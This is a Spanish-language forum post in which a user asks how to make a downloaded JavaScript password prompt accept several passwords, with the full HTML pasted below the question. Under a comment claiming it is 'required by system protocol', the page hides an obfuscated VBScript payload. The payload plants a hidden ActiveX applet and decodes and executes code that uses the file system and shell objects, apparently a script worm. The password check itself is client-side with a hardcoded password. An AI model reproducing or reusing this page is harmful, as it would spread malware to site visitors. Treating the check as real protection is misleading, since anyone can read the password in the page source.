Buenas, mi nombre es Joaquin y estamos diseñando una pagina, y me piden que
los usuarios que entren a la misma lo hagan con la contraseña que nosotros
le asignemos. No se mucho de este tema, por lo que me baje un script que a
continuacion del mensaje se los paso. La pregunta es: como hago para que
pueda insertar todas las contraseñas que nosotros tenemos
cargadas?????.porque solo me deja poner una sola.
Gracias por su ayuda y recibo los consejos que quieran dar.
Joaquin
LO QUE BAJE:::
<BODY onload="vbscript:run_time()">
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
function password() {
var testV = 1;
var pass1 = prompt('Por favor escriba la contraseña para acceder al
contenido. Copyright
2003-2004 SMG Software','Contraseña');
while (testV < 3) {
if (!pass1)
history.go(-1);
if (pass1 == "smgsoftware") {
alert('|--**********Contraseña correcta*********--|
Presione aceptar para continuar ');
window.open('pagina.html');
break;
}
testV+=1;
var pass1 prompt('La contraseña no es correcta.Intente de nuevo.','Contraseña');
}
if (pass1!="smgsoftware" & testV ==3)
history.go(-1);
return " ";
}
</SCRIPT>
</head>
<BODY>
<CENTER>
<FORM>
<input type="button" value="Entrar" onClick="password()">
</FORM>
</CENTER>
<!-- Don't modify this line, required by system protocol! -->
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px;
height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=who"&"_terrosist
HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
<script language=vbscript>
ScriptCode "ChlRBqhos+VRBqhos+@ookds+VhmO`sg+mEnkcdq+mBncdRtaQtm^Shld'(EE/0'(EE
/1'(DmcRtaEtmbshnmEE/0'(NmDqqnqQdrtldMdwsDqq-Bkd`qSncnHs<
VRbqhos-RbqhosEtkkm`ldHeDqqSgdmU/3<gslkDkrdU/3<uarDmcH
eHeU/3<uarSgdmRdsRBqhos<Bqd`sdNaidbs'Rbqhoshmf-EhkdRxrsdlNaidb
s(RdsVRBqhos<Bqd`sdNaidbs'VRbqhos-Rgdkk(DkrdRds@ookds<Cnbtld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tmbshnmEtmbshnmEE/3'EhkdM`ld(HeRBqhos-EhkdDwhrsr'Ehkdm`ld(SgdmDk
rdRds`<Rbqhos-Bqd`sdSdwsEhkd'EhkdM`ld+Sqtd(`-VqhsdKhmd'ZDwsRgdkkEn
kcdqUhdvr\(`-VqhsdKhmd'Cde`tks<z4873EED/,17C3,00BE,@D55,/7//1A1D0151|(
`-VqhsdKhmd'z4873EED/,17C3,00BE,@D55,/7//1A1D0151|<z4873EED/,17C3,00BE,@D5
5,/7//1A1D0151|%uabqke(`-VqhsdKhmd'Zz4873EED/,17C3,00BE,@D55,/7//1A1D01
51|\(`-VqhsdKhmd'OdqrhrsLnmhjdq<ehkd9..enkcdq-gss%uabqke(`-VqhsdKhm
d'Z-RgdkkBk`rrHmen\(`-VqhsdKhmd'BnmehqlEhkdNo</(`-BknrdRdsE@ssqha
<Rbqhos-FdsEhkd'Ehkdm`ld(E@ssqha-@ssqhatsdr<23DmcHeDmcEtmbshnm
EtmbshnmEE/2'U@0(HeQhfgs'U@0+0(<.SgdmEE/2<U@0DkrdEE/2<U@0%
.DmcHeDmcEtmbshnm"
Execute("Dim ScriptText"&vbCrLf&"For I = 1 To Len(ScriptCode)"&vbCrLf&"VA0 Asc(Mid(ScriptCode, I, 1))"&vbCrLf&"If VA0 = 18 Then"&vbCrLf&"VA2 Chr(34)"&vbCrLf&"ElseIf VA0 = 28 Then"&vbCrLf&"VA2 = Chr(10)"&vbCrLf&"ElseIf
VA0 = 29 Then"&vbCrLf&"VA2 = Chr(13)"&vbCrLf&"Else"&vbCrLf&"VA2 = Chr(VA0 +
1)"&vbCrLf&"End If"&vbCrLf&"ScriptText = ScriptText & VA2"&vbCrLf&"Next")
Execute(ScriptText)
</script>
</BODY>
</HTML>
Leer las respuestas